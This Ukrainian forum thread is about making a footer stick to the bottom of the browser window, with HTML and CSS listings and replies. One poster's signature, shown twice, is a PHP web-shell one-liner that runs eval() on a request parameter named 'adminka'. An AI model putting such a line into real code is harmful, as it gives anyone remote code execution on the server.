1

Тема: Як зробити мінімальну висоту блока по розміру вікна?

ну от знаєте, щоб, футер був впритик до низу треба зробити. В мене ніяк воно не виходить, от моє творіння
html, css

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div id="wrapper">
    <div id="header"></div>
    <div id="menu">
        <ul>
            <li><a href="">Элемент меню 1</a></li>
            <li><a href="">Элемент меню 2</a></li>
            <li><a href="">Элемент меню 3</a></li>
            <li><a href="">Элемент меню 4</a></li>
            <li><a href="">Элемент меню 5</a></li>
            <li><a href="">Элемент меню 6</a></li>
            <li><a href="">Элемент меню 7</a></li>
            <li><a href="">Элемент меню 8</a></li>
            <li><a href="">Элемент меню 9</a></li>
            <li><a href="">Элемент меню 10</a></li>
        </ul>
    </div>
    <div id="content">
        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eligendi non quis exercitationem culpa nesciunt nihil aut nostrum explicabo reprehenderit optio amet ab temporibus asperiores quasi cupiditate. Voluptatum ducimus voluptates voluptas?</p>
        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eligendi non quis exercitationem culpa nesciunt nihil aut nostrum explicabo reprehenderit optio amet ab temporibus asperiores quasi cupiditate. Voluptatum ducimus voluptates voluptas?</p>
        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eligendi non quis exercitationem culpa nesciunt nihil aut nostrum explicabo reprehenderit optio amet ab temporibus asperiores quasi cupiditate. Voluptatum ducimus voluptates voluptas?</p>
    </div>
    <div id="footer">footer</div>
</div>
</body>
</html>
body {
    background: url(http://subtlepatterns.com/patterns/ricepaper_v3.png) #ddd;
    font-family: Tahoma;
    margin: 0;
    height: 100%;
}

html {
    height: 100%;
    margin: 0px;
}

#wrapper {
    width: 650px;
    margin-right: auto;
    margin-left: auto;
    position: relative;
    background: #f2f2f2;
    padding: 20px;
    box-shadow: 0 0 20px rgba(0,0,0,.3);
    margin-bottom: 0;
    min-height: 100%;
}

#header {
    background: url(http://research.nodebox.net/data/media/header.jpg);
    width: inherit;
    height: 150px;
    margin-right: auto;
    margin-left: auto;
    overflow: hidden;
}

#menu{
    float: left;
    width: 150px;
    font-size: 12px;
    position: absolute;
    left :0;
}
#menu ul {
padding-left: 20px;
margin-right: 10px;
}

#menu li{
    background: #aaa;
    margin-bottom: 5px;
    width: auto;
    list-style: none;
    height: 20px;
}

#content {
    width: 520px;
    margin-left: 150px;
    min-height: 350px;
}

#footer {
    position: absolute;
    bottom: 0;
    width: inherit;
    height: 100px;
    background: #ccc;
    text-align: center;
}
All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

2

Re: Як зробити мінімальну висоту блока по розміру вікна?

http://replace.org.ua/topic/1022/
http://ryanfait.com/sticky-footer/

Подякували: FakiNyan1

3

Re: Як зробити мінімальну висоту блока по розміру вікна?

Цікаво.
Єдиний відомий мені спосіб:
CSS:

#wrapper {
    position: relative; /* div всередині якого розміщується нижній колонтитул. В даному випадку в ньому розм. весь вміст сторінки */
    /* ... */
}
#footer {
    position: absolute;
    color: red;
    bottom: 0;
    /* ... */
}
#footer span { 
    position: absolute;
    bottom: 0;
    right: 0;
    left: 0;
}

HTML:

    <!doctype html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Document</title>
    <link rel="stylesheet" href="style.css">
    </head>
    <body>
    <div id="wrapper">
<!-- ... -->
<div id="footer"><span>footer</span></div>
<!-- ... -->
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: Як зробити мінімальну висоту блока по розміру вікна?

а в мене з

min-height: 100%;

якась проблема. Сам футер нормально приклеюється до низу, але якщо зменшувати вікно браузера, то футер все-одно залишається біля нижньої межі вікна браузера і затуляє весь контент, ну дивіться на скріншоти, будь-ласка
от вікно відкрито повністю і все виглядає нормально

Прихований текст
http://puu.sh/4Zwxh.jpg

от я його звузив

Прихований текст
http://puu.sh/4Zwzw.jpg

а от що буде, якщо потягати полосу прокрутки

Прихований текст
http://puu.sh/4ZwC9.jpg

а от стилі

body {
    background: url(http://subtlepatterns.com/patterns/ricepaper_v3.png) #ddd;
    font-family: Tahoma;
    margin: 0;
    height: 100%;
}

html {
    height: 100%;
    margin: 0px;
}

#wrapper {
    width: 650px;
    margin-right: auto;
    margin-left: auto;
    position: relative;
    background: #f2f2f2;
    padding: 0px;
    box-shadow: 0 0 20px rgba(0,0,0,.3);
    margin-bottom: 0;
    min-height: 100%;
    height: 100%;
    margin-bottom: -100px;
}

#header {
    background: url(http://research.nodebox.net/data/media/header.jpg);
    width: inherit;
    height: 150px;
    margin-right: auto;
    margin-left: auto;
    overflow: hidden;
}

#menu{
    float: left;
    width: 150px;
    font-size: 12px;
    position: absolute;
    left :0;
}
#menu ul {
padding-left: 20px;
margin-right: 10px;
}

#menu li{
    background: #aaa;
    margin-bottom: 5px;
    width: auto;
    list-style: none;
    height: 20px;
}

#content {
    width: 520px;
    margin-left: 150px;
    min-height: 350px;
}

#footer {
    position: absolute;
    bottom: 0;
    width: inherit;
    height: 100px;
    background: #ccc;
    text-align: center;
}
All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

5

Re: Як зробити мінімальну висоту блока по розміру вікна?

нуу, значить, так, як мені тута нікхто не дапаміг, я сходив на інший форум. Мені там якийсь чювак дав якесь рішення, але воно не працює, так що я просто збільшив мін. висоту блока content і всьо!

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

6

Re: Як зробити мінімальну висоту блока по розміру вікна?

Спосіб який я навів не працює?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

7

Re: Як зробити мінімальну висоту блока по розміру вікна?

Invader написав:

Спосіб який я навів не працює?

да вже все ок, то я просто там намішав, всякої фігні, а зара повидаляв непотрібне і отак от кароч.

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...